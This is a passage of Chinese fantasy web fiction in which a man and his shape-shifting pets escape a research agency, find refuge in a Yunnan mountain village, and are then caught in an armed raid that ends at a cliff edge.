陈开心重重呼出一口气,后背的冷汗快浸透了衬衫。
“对不起……我……”他嗓音沙哑,听上去疲惫又后怕。
“没事,主人。”可乐在汉堡怀里微弱地呜咽了一声,艰难地抬起身,用湿漉漉的鼻子从后方蹭了蹭他的胳膊,传递着无声的安慰。
就在这时,包子的身体骤然绷紧,低喝一声:“减速!前方有情况!”
陈开心几乎是本能地松开了油门,速度缓缓下降。
只见前方约一公里处,高速公路收费站灯火通明,显得异常拥挤和混乱。
并非车流高峰,而是因为收费站入口被几辆闪烁着警灯的车辆完全堵死,其中几辆是动保局标志性的蓝白涂装车辆,另几辆则印着动研所冰冷鹰
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徽。
两方人马在收费站的空地上对峙着,穿着不同制服的人员面对而立,气氛剑拔弩张。
“是动保局的警官!”雪碧眼尖,看到了站在动保局车辆最前方那个挺拔的身影。
此人正是孙栋,他正张开双臂,如磐石般挡在收费通道前,拦住了卫平亮一行人。
“卫主任,请出示你的行动许可!”孙栋的声音透过夜风传来,沉稳有力,“根据《城市突发公共安全事件应急处置条例》第17条,我动保局有权对涉及珍稀、保护动物及疑似特殊智能生命的转移、收容行动进行现场核查!请配合!”
卫平亮站在动研所车队前,脸上那志在必得的冷笑早已消失,取而代之的是被强行压抑的暴怒,他看着孙栋就好像看着一块碍事的顽石。
“孙警官!”卫平亮嘴角不屑一撇,“我手里有紧急收容令,目标具有高度危险性!你这是在阻挠特殊生物管控局执行公务,延误时机,造成的社会风险你担得起吗?!让开!”
他身后的行动队员个个神情冷峻,手按在腰间的装备上,斗争一触即发。
“危险性?”孙栋毫不退让,声音反而更加洪亮,“卫主任,你所谓的危险性证据在哪里?就凭一只被你们暗中投药的网红猫在刺激下产生的应激反应?还是凭你们内部一份缺乏透明度的评估报告?我看到的是你们借恐慌之名,行非法搜捕、威胁公民人身安全之实!在核查清楚之前,这收费站你过不去!”
他身后的动保局队员们也齐齐上前一步,形成一道人墙,眼神坚定地与动研所的人对峙着。
空气仿佛凝固了,只剩下红蓝警灯无声地旋转闪烁,将双方紧绷的脸映得忽明忽暗。
“你!”卫平亮气得手指都在微微发抖,他猛地一指孙栋,“孙栋!你这是包庇!是渎职!我会向上级部门……”
“卫主任!”孙栋毫不客气地打断他,“请先配合我们核查,否则请你们立刻调头,或者……”
他顿了顿,目光锐利如刀,“就在这里,当着所有过往司机的面,让公众看看,你们动研所……不,特殊生物管控局,到底想做什么?!”
孙栋的话掷地有声,巧妙地利用了公众关注和程序正义作为武器。
收费站被堵住的车流里,已经有人好奇地探头张望,甚至有人拿出了手机。
卫平亮的脸彻底黑成了锅底,他深知舆论是把双刃剑,此刻如果强行冲突,被拍下发到网上,加上孙栋扣的“非法搜捕”帽子,对动研所和他个人的声誉将是毁灭性打击。
他牙关紧咬,腮帮子鼓起,几乎是从牙缝里挤出命令:“给他们看许可!”
他身后一名副手不情愿地拿出一个平板电脑。
孙栋示意手下上前仔细核查,这核查注定是缓慢而细致的。
时间在双方冰冷的对峙中,一分一秒地流逝。
“他们……被拦住了?”汉堡难以置信地看着远处僵持的一幕。
陈开心紧张地看着那边,心脏狂跳,手心再次被冷汗浸透。
“是动保局,动保局的人在帮我们争取时间。”他眼眶渐渐红了。
包子迅速扫视着周围环境,当机立断:“不能等!趁他们注意力都在前面,我们从旁边绕过去,走ETC通道!快!”
陈开心反应过来,他猛地一打方向盘,车像灵活的游鱼,悄无声息地滑离主车道,拐向最远处那道几乎无车通行的ETC专用通道。
感应杆迅速抬起。
陈开心油门踩到底,瞬间冲过了收费站关卡,将后方那场剑拔弩张的对峙远远甩在身后。
44.汉堡的考验
车轮碾过崎岖不平的山路,车窗外的景色从丘陵逐渐过渡为原始森林,导航早已失灵,陈开心只能凭着对地图上那些模糊标记的记忆,在岔路上艰难抉择。
他们深入了云南腹地,一个在地图上都难以找到确切名字,仿佛被时光遗忘的古老村寨,黑石寨。
当汽车终于风尘仆仆地驶入寨口时,立刻引来了无数道警惕的目光。
黑石寨依山而建,错落有致的吊脚楼由深色的木材和黑石垒成,寨民们穿着纹饰繁复的民族服饰,无论男女老少,看向这辆突兀闯入的“铁盒子”和车里陌生面孔的眼神,都充满了毫不掩饰的戒备。
孩童们停止了嬉闹,躲在大人身后,好奇又畏惧地偷看。老人们坐在屋檐下,浑浊的眼神如同审视着入侵者的山鹰。
一个穿着靛蓝色土布长衫,头缠黑色包布的老者,在几个精壮汉子的簇拥下,拄着一根盘得油亮的乌木拐杖,缓缓踱到车前。
他是黑石寨的长老,石坎。
他审视地扫过车内每一个人,最后停留在包子那双无法掩饰的碧绿眼瞳上,眉头微微皱了一下。
“外乡人。”石坎长老操着浓重的口音,不欢迎的态度直接摆在臭脸上,“黑石寨不欢迎外人,还请你们从哪里来,回哪里去。”
陈开心连忙下车,强压下远程奔波的疲惫和内心的焦虑,尽量让自己的语气显得诚恳。
“尊敬的长老,我们不是坏人,只是……遇到了很大的麻烦,想在这里暂时落脚,避避风头。我们不会打扰寨子的清净,只求一个能遮风挡雨的地方,让我的狗养一下伤……”
他指了指车内虚弱的可乐,可乐蜷缩在后座,厚厚的绷带缠绕着它的身躯,呼吸微弱而急促,原本油亮的皮毛此刻黯淡无光,伤口渗出的暗红在绷带上洇开一小片。
石坎的视线掠过可乐,又回到陈开心脸上,眼神没有丝毫松动:“麻烦?你们带来的麻烦,恐怕比山里的瘴气还毒。”
突然他浑浊的眼珠收缩,鹰隼般的目光直射汉堡,仿佛要穿透他的皮囊,质问声陡然拔高。
“尤其是你!像山猫!狡猾,警惕又带着野物的腥臊,却披着张人皮!说,你到底是什么东西?!”
寨民们齐刷刷看向汉堡,目光充满了怀疑和敌意,几个汉子下意识地握紧了腰间的柴刀。
汉堡的心吓得突突跳,项圈的存在虽然压制了他大部分的本能躁动,但那份属于猫科动物的敏锐和警惕无法完全抹除,在长老这种常年与山林野物打交道,感知异常敏锐的人眼中,确实无可遁形。
陈开心手心冒汗,忙不迭解释,却也不敢撒谎:“他只是一只小猫咪……”
石坎长老摆了摆手,死死盯着汉堡:“山神在上,容不得欺瞒。证明给我看,如果你真是一只猫,而不是别的什么邪祟……”
他顿了顿,对旁边一个汉子低声吩咐了一句。
很快,那汉子提着一个湿漉漉的竹篓跑了回来。长老示意他打开篓盖,里面赫然是两条活蹦乱跳,滑溜无比的石斑鱼。
“不用你的爪子,就用你‘人’的手,在这地上,给我抓住一条。抓到了,证明你是猫,黑石寨容你们歇脚,抓不到……”
他后面的话没说,但冰冷的面容已说明一切。
所有人的心都提到了嗓子眼,人手怎么可能像猫爪那样敏捷地抓住滑溜无比的活鱼?这分明是刁难!
汉堡的脸色更白了,他下意识地摸了摸脖子上的项圈,那深棕色的皮圈此刻仿佛有千斤重。
在众人各色各样的目光中,他缓缓走到篓边蹲下身,学着记忆中猫咪捕猎的姿态,牢牢锁定其中一条最活跃的鱼。
他迅猛地伸出手,似猫那般的迅捷,飞速探向鱼身!
可人的手指终究不如猫爪灵活有力,那鱼感受到了威胁,尾巴猛地一甩,身体如同抹了油一般,以一种不可思议的角度从汉堡的指缝间滑了出去。
“啊!”汉堡惊呼一声,眼睁睁看着那条鱼“啪嗒”一声重重摔在干燥粗糙的泥土地上,尘土飞扬。
它一落地,更是疯狂地扭动弹跳起来,沾满泥土的身体变得加倍滑溜。
汉堡的手几次触碰都未能抓实,反而因为用力过猛,手指被尖锐的石子划破了一道口子,渗出血珠。
“哼。”石坎长老鼻腔里发出一声意味不明的冷哼,周围的寨民也发出低低的议论,眼神中的排斥更浓了。
就在陈开心等人心沉谷底之时,汉堡脖子上的项圈竟毫无征兆地亮了起来。
一圈柔和的金色光晕伴随着一声低沉浑厚的嗡鸣,毫无预兆地从项圈处扩散开来。
这声音并不刺耳,仿佛有一种奇异的穿透力,有点像龙吟古寺的晨钟在群山间回荡。
地上那条疯狂扭动的石斑鱼莫名其妙地定住了一瞬,虽然只有短短一秒,但这对于眼疾手快的汉堡来说足够了。
汉堡自己也愣住了,身体的条件反射快过思维,就在那电光火石之间,他再次出手,五指如电,精准无比地一把扣住鱼鳃后方的位置。
鱼在他手中徒劳地甩着尾巴,再也无法挣脱。
周围所有嘈杂的议论声和质疑声,在这奇异的嗡鸣声扫过时,都诡异地安静了,连篝火堆跳跃的火焰,也似乎在这一刻温顺了许多。
一时之间,空气里只有汉堡急促的喘息声,和他手中那条还在挣扎的鱼发出的鱼尾拍打声。
石坎长老苍老的眼睛牢牢锁住汉堡脖子上那圈尚未完全褪去金芒的项圈,嘴唇微微颤抖。
“这……这气息……”他拄着拐杖的手控制不住地发抖,向前踉跄了一步,眸中难以置信,“龙吟寺……慧明……这是……佛门法器?!”
他脸上的情绪变得复杂难懂,缓缓抬起手,不是指向鱼,而是带着一种近乎虔诚的庄重,轻轻虚按在项圈上方一寸处,仿佛在感受那温暖而神圣的力量。
“好猫……”石坎长长吐了一口浊气,又深深吸了一口山林间
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清新的空气,再看向汉堡时,眼中已再无半分怀疑和排斥,只剩下一种宛如看待山中精灵般的尊重。
他轻轻点头,眼眸恢复了平静,神色却比刚才尊敬很多:“山神的客人,黑石寨欢迎你们。”
陈开心悬着的心终于落下,后背冷汗发凉,整个人快要虚脱。
汉堡手里还攥着那条滑溜溜的鱼,不明所以地看着态度一百八十度转变的石坎,漂亮的猫眼里茫然一片。
石坎没有再多言,偏头对身旁的汉子吩咐了几句。很快便有人引着陈开心一行人,将他们带到寨子边缘一栋相对独立的吊脚楼安顿下来。
楼里甚至提前铺好了干爽的稻草和被褥,显然长老早有安排。
“你们安心住下。”引路的汉子语气恭敬了许多,“长老说,山神认可了你们,黑石寨就是你们的庇护所,有什么事尽管吩咐。”
说完便躬身退下。
吊脚楼里终于只剩下了他们自己,关上门隔绝了外界,后怕席卷了所有人。
陈开心靠着粗糙的木柱滑坐到地上,大口喘着气,刚才那短短十几分钟,简直比逃亡一路还要惊心动魄。
“刚才……那是什么?”汉堡终于回过神来,低头看着自己的手,又摸了摸还有些余热的项圈,“我……我好像……听到钟声,然后那鱼就……不动了?”
包子走到他身边,碧绿的眼眸仔细观察着汉堡的项圈,又看了看雪碧和自己脖子上的项圈,沉声道:“是项圈的力量,它不仅仅是束缚,更是一件法器。慧明大师赐予的绝非凡品。”
他回想起那声低沉浑厚的嗡鸣以及鱼瞬间僵直的景象,默默思忖了片刻:“可能是一种……具有镇定和微弱禁锢效果的声波?我不太确定。”
“声波?”陈开心眼睛一亮,挣扎着坐直身体,“就像范司杞控制流浪狗的那种?”
但随即他又摇头否定自己的猜测,“不,不一样。刚刚那声波是温暖的,看上去能安抚人心,而范司杞控制的那些流浪狗明显很狂躁。”
“本质可能不同,但形式或许有共通之处。”包子分析道,“刚才汉堡想要抓住那条鱼,强烈的意念可能无意间引动了项圈深处的力量。”
汉堡摸着项圈,若有所思:“所以……它不仅能关住我们的本性,必要时,还能放出力量帮我们?就像……一个开关?”
“恐怕没那么简单。”包子摇头,“刚才的力量爆发是偶然,是无意识触发的,但是代价呢?”
他看向被雪碧横抱进门,放在干草铺上休息的可乐。
“可乐应该就是遭到了反噬才会变回狗身。”
“管它呢!”雪碧倒是很乐观,一屁股坐在铺上,掏出肉干嚼着,顺手喂了一根给可乐。
“反正长老认可我们了,有地方住,有肉干吃,可乐也能好好养伤啦!那个项圈能吓住鱼,说不定也能吓跑坏人呢,早说嘛,害我们担心那么久。”
众人无奈扶额,果然还是猪猪心大。
45.可乐和小雪豹
石坎长老的儿媳阿依热情地招呼他们去家里吃饭,火塘上吊着黑亮的铁锅,炖着腊肉山菌,香气霸道地钻进每个人的鼻孔。
雪碧眼睛都直了,喉咙里发出清晰的咕咚声。
当热气腾腾的竹筒饭和一大碗油亮的腊肉端上矮桌时,雪碧脑子里那根名为“礼仪”的弦,“啪”地断了。
“嗷!肉!”他欢呼一声,完全无视了包子警告的眼神,胖乎乎的手闪电般伸出,精准地捞起最大、肥肉最多的一块腊肉,啊呜一口就塞进嘴里,油汁顺着他嘴角流下,满足的哼唧声比可乐受伤时的呻吟还响亮。
石坎长老的孙子阿木,一个七八岁的小男孩,看得眼珠子都快瞪出来了,小嘴张成了O型。
旁边的寨民先是一愣,随即爆发出压抑不住的大笑。阿依更是笑得前仰后合,差点打翻手里的竹筒。
“哎呀呀!这小哥儿……比我家过年抓的野猪崽子还心急火燎!”阿依抹着笑出来的眼泪。
汉堡的脸瞬间红得滴血,恨不得把雪碧塞进地缝里,项圈都压不住他想挠人的冲动。
他狠狠在桌子底下踩了雪碧一脚,咬牙切齿地用眼神警告:“蠢猪!筷子!用筷子!”
雪碧被踩得嗷一声,委屈巴巴地看了看手里只剩一小半的肉,又看看周围笑得东倒西歪的人,这才后知后觉地意识到自己干了啥,臊得恨不得把脸埋进碗里。
陈开心连忙赔笑道歉,石坎长老倒是摆摆手,表示无需拘束:“山□□性,情有可原。慢慢来,慢慢来。”
只是那“慢慢来”三个字,让雪碧在接下来的好几天,吃饭时都被汉堡死死盯着,笨拙地跟两根细竹棍较劲。
这一周,可乐的伤在寨子里特制的草药膏和宁静的环境下,肉眼可见地好转了。绷带拆了,伤口结痂,长出了粉嫩的新肉和短短的绒毛。
拆绷带那天,它趴在吊脚楼外的木平台上。清冷的月光像水银一样泻满山谷,远处传来不知名夜鸟的啼鸣。
一种久违的自由感混合着伤愈的舒畅涌上心头,它不由自主地扬起那颗毛茸茸的大脑袋,胸腔起伏,喉咙里酝酿着某种澎湃的情绪。
“嗷呜!!!”
一声嘹亮悠长的“狼嚎”撕裂了山寨的宁静,刹那间,整个寨子炸锅了。
“汪汪汪!”
“咯咯咯咯!”
“咩!咩!”
狗吠鸡飞羊跳,原本沉睡的寨子像被捅了的马蜂窝。
几户人家的门砰地被撞开,汉子们抄起火把,柴刀,甚至猎叉就冲了出来,火光在夜色中摇曳,人人脸上都是惊怒。
“狼!有狼进寨了?!”
“在哪?保护娃子和牲口!”
当火把的光芒照亮平台,照出可乐那张写满“糟了闯祸了”的傻狗脸时,冲在最前面的汉子一个急刹车,差点把火把怼到旁边人脸上。
众人看着这只体型巨大,一脸无辜的“肇事狗”,脸上的惊怒慢慢变成了哭笑不得。
石坎长老也被惊动了,披着外袍,拄着拐杖走出来。
他看着平台上缩着脖子,耳朵耷拉成飞机耳,恨不得把自己埋起来的可乐,又看看周围举着火把,表情精彩的寨民,最终只是无奈地摇了摇头,对着夜空长长叹了口气。
“山神赐予你好嗓子,是让你在山野间呼唤同伴,不是让你在寨子里当更夫扰人清梦啊,傻狗。”
他挥挥手,语气带着点疲惫的纵容,“散了散了,都回去睡吧,是……是陈家的狗在唱歌。”
人群在压抑的低笑声中散去。
从此,可乐再想抒发胸臆,只能被陈开心连哄带骗地拖到远离寨子,鬼影都没一个的后山坳里,对着空旷的山谷小声“嗷呜”几下过过瘾。
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.
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寨子依山而建,难免有些鼠辈,这对汉堡来说,简直是行走的诱捕器。他那双漂亮的猫眼,总能在犄角旮旯精准捕捉到那些灰溜溜的小身影。
一次,寨民们聚在石坎长老的木楼前空地上聊天,女人们纳鞋底,男人们抽着旱烟,气氛祥和。
汉堡懒洋洋地倚在门框边晒太阳,突然他耳朵一抖,瞳孔缩成一条竖线,身体像上了发条的弹簧般绷紧,目光死死锁住墙角柴火堆下一个快速窜过的灰影。
“喵!”
一声短促尖锐的猫叫脱口而出,下一秒,在所有人惊愕的目光中,那道优雅的身影化作一道黑色闪电,以迅雷不及掩耳之势扑了过去,动作快得带起一阵风。
“噗!”
汉堡精准落地,嘴里赫然叼着一只肥硕的灰老鼠,老鼠尾巴还在他嘴边徒劳地甩动。
全场死寂。
纳鞋底的针掉了,抽烟的烟杆忘了抽,所有人都像被施了定身法,目瞪口呆地看着这位平日里漂亮得不像话的“小哥儿”,此刻叼着老鼠,猫眼里闪烁着捕猎成功的得意光芒。
“噗嗤……”不知是谁先没忍住。
“哈哈哈!”紧接着,爆笑声几乎掀翻了屋顶!
石坎长老的儿媳阿依笑得捂着肚子蹲在地上:“哎哟我的山神啊!这小哥儿……身手比我家最厉害的狸花猫还利索,抓耗子一抓一个准儿!”
汉堡这才反应过来自己干了什么,“噗”地吐掉嘴里的死老鼠,整张脸顿时涨得通红,从脖子根红到耳朵尖,羞愤欲绝。
项圈都压不住他炸毛的心情,他猛地转身,像阵风一样冲回了吊脚楼,“砰”地关上了门,好几天没好意思出来见人。
包子从此多了一项任务,时刻留意汉堡的眼神,一旦发现那双漂亮的猫眼开始锁定某个可疑角落,瞳孔开始收缩,他就立刻重重咳嗽一声,或者不动声色地踩他一脚,把这位猫主子的“职业病”扼杀在萌芽状态。
日子就在这种磕磕绊绊,笑料百出中滑过,寨民们淳朴的包容像山涧清泉,慢慢洗去了陈开心一家身上的惊惶。
他们笨拙但真诚地学着劈柴挑水,辨认寨子周围常见的草药。
寨民们也从最初的警惕旁观,到好奇搭话,再到偶尔招呼他们一起吃饭,慢慢接纳了这群奇奇怪怪但心眼不坏的外乡人。
一天傍晚,石坎长老让阿木来叫陈开心去他的木楼,火塘里的柴火噼啪作响,映着老人沟壑纵横的脸。
石坎长老摩挲着手中那根油亮的乌木拐杖,沉默良久,才缓缓开口,声音低沉得像山风穿过古老的树林。
“后山深处,翻过三道梁子,有一片林子。” 他浑浊的眼睛望向窗外暮色中的山影,“那里的树,皮是深棕色,木质坚硬如铁,香气……能钻到人骨头缝里,安魂,定魄。那是山神赐下的檀香古林,吸了日月山水的灵气长成的。”
陈开心捧着粗糙的陶碗,心头猛地一跳,是檀香木!
石坎长老的目光似乎穿透了时光:“很多很多年前,一个年轻的和尚,穿着打补丁的僧衣,背着个破包袱,走到了寨子外。他风尘仆仆,但眼神清亮得像山涧的水。他说他叫慧明,想借山林的清净参禅。”
老人嘴角露出一丝极淡的笑意,“寨子里的狗见了他都不叫,山里的野物见了他也绕道走。他在那檀香林边搭了个草棚子,一住就是大半年。”
“慧明大师……”陈开心喃喃道。
“嗯。”石坎长老点点头,“他不光念经,还琢磨东西。他发现林子旁边有个天然的石洞,洞顶垂下好多石钟乳,风一吹过,或者地气一动,那些钟乳会发出一种很低沉、很浑厚的声音,像……像地龙翻身前的闷响,又像庙里的大钟在很远很远的地方敲。”
老人模仿了一下那种声音,“嗡——嗡——”
陈开心和旁边安静听着的包子、汉堡都屏住了呼吸,这声音……和项圈发出的嗡鸣何其相似!
“慧明和尚是个有大智慧的人。”石坎长老眼中流露出敬佩,“他就在那洞里打坐,听着那‘地龙吟’,闻着檀木香,不知怎的,就琢磨出了一种法子。他能引动地底的气,借檀木的灵性和那洞里的嗡声做引子,把那股力量刻进东西里。刻进木头里,那木头就带着安神镇邪的力量,刻进皮子里……”
他的目光落在汉堡和包子的项圈上,“就像你们戴的这个,能压住骨子里的野性,安住躁动的心魂。那声音,我们寨子的老话叫镇山吼,能安抚躁动的山灵精怪。”
陈开心恍然大悟,原来如此。
项圈的力量根源,慧明大师的法门,都在这片古老神秘的土地上,怪不得他们来到寨子里后,项圈对汉堡他们本性的压制好像没有之前厉害了,有时候陈开心看着闯祸的他们,有种他们好像没戴项圈的感觉,大家似乎都忘了这项圈的存在。
原来是他们误打误撞,竟把项圈带回了这力量的源头。
“山神的客人,”石坎长老看着他们,眼神意味深长,“你们不是第一批受山神眷顾的异客。”
几天后,陈开心就明白了这句话的
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意思。
那是一个阳光晴好的午后,可乐趴在吊脚楼平台上晒太阳,伤口结痂的地方痒痒的,它正用后腿努力去挠。忽然,它敏锐的耳朵捕捉到一阵轻微的脚步声。
它抬起头,只见平台边缘的木楼梯下,探出了一个小脑袋。
圆溜溜,毛茸茸,覆盖着灰白色,点缀着黑色不规则斑点的漂亮皮毛。
一对冰蓝色的大眼睛,像最纯净的山泉湖泊,正好奇又怯生生地望着可乐这个庞然大物。
它只有可乐一个脑袋那么大,身形圆滚滚的,是一只小雪豹幼崽。
可乐的狗眼瞬间亮了,它太久没见过同类的小伙伴了,它努力想摇尾巴表示友好,但动作一大就扯到伤口,疼得它龇了龇牙,只能发出友好的呜咽:“呜?”
小雪豹迈开还不太稳当的小短腿,试探性地从楼梯下爬上来,一步一步,小心地靠近可乐。
走到可乐跟前时,它停下来,歪着小脑袋,冰蓝的眼睛一眨不眨地盯着可乐湿漉漉的鼻头看,然后伸出带着细小倒刺的粉嫩小舌头,飞快地在可乐的鼻尖上舔了一下。
“汪?”可乐被舔得一愣,湿漉漉凉丝丝的触感让它下意识缩了缩鼻子,但小雪豹身上那股纯净的气息,让它感到无比舒适和安心。
它小心翼翼地低下头,用自己温热粗糙的大舌头,温柔地回舔了一下小雪豹毛茸茸的头顶。
“咪呜~”小雪豹被舔得舒服地眯起了眼睛,喉咙里发出咕噜咕噜的声音,像个小发动机。
它胆子更大了,干脆用毛茸茸的小脑袋去顶可乐的下巴,在它厚实温暖的胸毛里蹭来蹭去,找到一个舒服的位置蜷缩起来。
可乐僵着身体不敢动,生怕压到这个小不点,但小雪豹眼睛里的依赖和亲近,像暖流一样融化了它这些日子因为无法变回人形而积攒的失落。
它小心翼翼地调整姿势,尽量让小雪豹靠得更舒服些,喉咙里也发出满足的呼噜声。
一大一小两个毛茸茸的身影依偎在午后的阳光里,和谐得像一幅画。
从此,石崽成了可乐的小尾巴,可乐虽然不能说话,但它丰富的狗生经验和在陈开心家学到的规矩,成了石崽最好的启蒙课。
比如,石崽看到吊脚楼柱子磨爪子很舒服,刚想伸出小爪子,可乐就会用鼻子轻轻把它拱开,然后自己走到屋外一棵老树下,示范性地用爪子刨了刨树下的松软泥土,低吼两声:“汪!汪!”
石崽歪着头看看柱子,又看看树下松软的土,冰蓝的眼睛眨了眨,似乎明白了,颠颠儿地跑到树下,学着可乐的样子,笨拙地开始刨坑。
雪碧在旁边看得哈哈大笑:“哈哈,可乐在教小豹子上厕所!”
又比如,石崽对寨民晾晒的腊肉产生了浓厚的兴趣,小鼻子嗅啊嗅。
可乐立刻警惕地挡在它和腊肉之间,喉咙里发出低沉的警告声:“汪汪!”
接着它会叼来自己啃着玩的,寨民给的干净大骨头,放在石崽面前,用爪子推推,示意这个可以。
每每这时,总有一位高大冷峻的汉子和一位温婉美丽的女子会在不远处笑着看这一幕,他们自称是小雪豹的父亲和母亲。
陈开心这才了解到黑石寨原来也有不少成了人形的动物,石岩和云朵就是其中两个。
受山神庇佑和此地独特地脉的影响,寨子以及周边深山中偶尔也会有开了灵智的动物,它们或选择保持兽身,或机缘巧合下化为人形,只要遵守寨规,不危害寨民,山神和寨子都予以包容。
可乐看着汉堡灵活地用人类的手指编着草蚱蜢逗阿木玩,看着包子用流利的语言和寨民交谈,看着雪碧笨拙但努力地学着用筷子夹菜,眼中偶尔会闪过一丝不易察觉的落寞。
它想念用两条腿走路,想念和主人一起散步,想念和汉堡吵架的日子。
每当这时,依偎在它身边打盹的石崽,仿佛能感受到它低落的情绪,就会抬起头,用大眼睛担忧地看着它,伸出小舌头舔舔它的下巴,喉咙里发出更响亮的咕噜咕噜声,像是在安慰:“没关系,有我呢。”
然后用毛茸茸的小脑袋使劲蹭它厚厚的颈毛。
可乐会低下头,用温热的大舌头温柔地回舔小雪豹的脑袋,粗糙的触感让小雪豹舒服得眯起眼。
夕阳的金辉洒在他们身上,给厚厚的毛发镀上一层温暖的光晕。山风穿过古老的檀香林,传来悠远而低沉的沙沙声,仿佛山神在轻声哼唱。
46.突发险情
可乐和石崽成了好朋友,每每晨光熹微,石崽会迈着小豹步,熟门熟路地溜达到陈开心他们的吊脚楼下,用毛茸茸的脑袋顶开虚掩的竹扉,发出细嫩的“咪呜”声,那是它和可乐的暗号。
可乐便会拖着还有些不利索的后腿,挪到门口,低下毛茸茸的大脑袋,用湿漉漉的鼻子亲昵地拱拱石崽。
石崽像个小跟屁虫,亦步亦趋地跟在可乐身旁,或是在寨子安全的角落笨拙地扑咬草球,或是趴在平台边缘,一大一小两颗毛茸茸的脑袋凑在一起,好奇地观察寨民们劳作。
石岩和云朵看着,冷峻的脸上常会掠过一丝暖意。云朵给可乐送肉干丸子的频率更高了,石岩甚至默许了石崽跟着可乐在寨子边缘活动,当然,暗处总有寨民留意。
这份宁静像山巅的薄雾,美好却脆弱,可灾难来得毫无征兆。
那是一个看似平常的午后,阳光有些慵懒,寨子里弥漫着柴火和草药的混合气息。
陈开心正跟着阿依学辨认几种常见的止血草,包子在屋后劈柴,雪碧则对着一堆新挖的竹笋流口水,琢磨着是烤着吃还是炖汤。汉堡懒洋洋地躺在平台阴影里,有一搭没一搭地用草茎逗弄一只路过的甲虫。
可乐趴在平台中央打盹,石崽蜷在它厚实的胸毛里,小肚子一起一伏,睡得正香。
突然,“嗡”,一声刺耳尖锐的蜂鸣声,毫无预兆地从寨口方向撕裂了宁静,紧接着是几声沉闷的爆炸。
“轰!轰!”
地皮猛地一颤,吊脚楼的木头发出不堪重负的呻吟。
陈开心手里的草药撒了一地,雪碧吓得一屁股坐在地上,竹笋滚落。汉堡像被踩了尾巴,瞬间弹起,漂亮的猫眼瞪圆,瞳孔缩成一条细线。包子丢下柴刀,如一道影子般冲到平台边缘,碧绿的眸子死死盯向寨口方向。
寨口方向火光冲天,浓烟滚滚,原本寨口那片由黑石和藤蔓自然形成的屏障,竟被炸开了一个硕大的豁口。
“敌袭!保护寨子!”
“是外头那些穿黑衣服的!他们打进来了!”
“抄家伙!”
寨民的惊呼和怒吼瞬间响起,夹杂着孩子的哭喊。
石坎长老苍老而愤怒的吼声穿透嘈杂:“守住豁口!别让他们进来!”
但已经晚了,几辆印着鹰徽的装甲越野车,咆哮着碾过被炸开的碎石和燃烧的藤蔓,蛮横地冲进了寨子。
车门弹开,跳下一队队穿着黑色战术服,头戴防爆盔、手持造型奇特武器的行动队员。
他们动作迅捷冷酷,眼神里没有任何属于人的温度,像一群精准的杀戮机器。
“目标确认!优先控制异化个体!反抗者直接逮捕!”一个冰冷的声音通过扩音器在寨子上空回荡,正是卫平亮!
他站在一辆装甲车顶,墨镜反射着火光,嘴角挂着残忍而志在必得的狞笑。
寨民的猎叉,柴刀在精良的装备和训练有素的战术小队面前,显得如此脆弱。
“汉堡!包子!保护可乐和石崽!”陈开心嘶声大喊,他抓起手边一根粗壮的柴火棍,手却抖得厉害。
包子早已化作一道绿色的残影,扑向一个试图冲向吊脚楼的黑衣队员,动作快如鬼魅,利爪在战术服上划出刺耳的声响。
汉堡也炸了毛,喉咙里发出威胁的低吼,抄起一根燃烧的木柴当作武器,试图阻挡逼近的敌人。
雪碧吓得抱头鼠窜,却本能地用身体护住可乐和石崽,嘴里发出惊恐的呜咽:“小心……有坏人……”
战斗声将熟睡的石崽惊醒,冰蓝色的大眼睛里充满了惊恐,它小小的身体在雪碧怀里颤抖,发出凄厉的“咪嗷咪嗷”尖叫声,挣扎着想要钻到更深的地方躲避。
雪碧护它不住,反倒被一脚踹开。
可乐也被这突如其来的恐怖景象惊呆了,它庞大的身躯站起,喉咙里发出愤怒的低吼,将瑟瑟发抖的石崽护在自己肚皮底下,警惕地环视着四周冲天的火光和人影。
几个黑衣队员注意到了平台上的阿拉斯加和它护着的小雪豹。
“发现大型异化犬类!疑似保护目标!A组!控制它!连带那个幼生体一起拿下!”耳机里传来冷酷的命令。
两名队员立刻调转枪口,黑洞洞的枪管瞄准了可乐和它身下的石崽,那枪口闪烁着幽蓝的电弧。
“汪!呜!”可乐感受到致命的威胁,全身的毛都炸了起来,对着枪口发出凶狠的警告咆哮,死死挡在石崽前面。
就在这时,一枚冒着烟的□□被精准地投掷到平台边缘。
“轰!”□□发出一声爆鸣,白光顿时席卷了平台。
“喵嗷!”汉堡离得最近,被强光闪得眼前一片雪白,耳朵嗡嗡作响,痛苦地捂住眼睛蹲了下去。
“呃!”包子也被强光干扰,动作一滞,被一个黑衣队员用电击棍狠狠戳中腰侧,闷哼一声摔倒在地,身体剧烈抽搐。
雪碧更是被吓得魂飞魄散,直接瘫软在地。
陈开心也被强光刺激得泪流满面,暂时失去了视觉和方向感。
混乱中,被强光和巨响吓到的小雪豹石崽,爆发出了惊人的求生本能,它趁着可乐被强光刺激得暂时失神的刹那,惊恐地尖叫着,像一道灰白色的闪电,从可乐的肚皮下猛地窜了出去。
它慌不择路,只想逃离这恐怖的地方,无头苍蝇般地朝着吊脚楼后方狂奔。
可吊脚楼后方是一片悬崖。
“咪嗷!” 那凄厉的叫声充满了无助的恐惧。
“石崽!”可乐虽然被强光刺得眼泪直流,视野模糊一片,但石崽那充满恐惧的尖叫像一把尖刀狠狠扎进它心里。
它凭着声音和气味,立刻锁定了那疯狂逃窜的身影,保护幼崽的本能压倒了所有的恐惧。
“汪!”可乐根本顾不上自己尚未痊愈的伤口,四肢爆发出阿拉斯加犬惊人的力量和速度,像一道棕灰色的飓风,猛地朝着石崽逃跑的方向追去。
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它完全无视了身后瞄准它的枪口和逼近的黑衣队员,眼中只有那个即将消失在悬崖边缘的灰白身影。
“目标异化犬脱离控制!正在冲向悬崖!幼生体也在前方!”队员急促地报告。
“拦住它们!活的抓不住,死的也要!”卫平亮冷酷的命令再次从耳机里传来。
几名队员立刻追了上去,枪口死死锁定狂奔的可乐。
石崽被恐惧彻底支配,小小的身体已经冲到了悬崖最边缘,它惊恐地刹住脚步,碎石哗啦啦滚落深不见底的黑暗深渊,下面传来呼啸的山风。
它退无可退,冰蓝色的眼睛里充满了绝望的泪水,对着追来的可乐发出凄惨的呜咽:“咪……呜……”
“汪!”可乐看到了悬崖,看到了石崽站在绝境边缘瑟瑟发抖的身影,它没有丝毫犹豫地扑了过去,想要冲到石崽前面。
可就在这时,一支带着强力麻醉剂的飞镖狠狠扎进了可乐的后腿,剧烈的麻痹感登时蔓延它全身。
可乐庞大的身躯猛地一僵,冲刺的势头被硬生生打断,惯性带着它和因为惊吓而腿软的石崽,一起朝着悬崖外滑去。
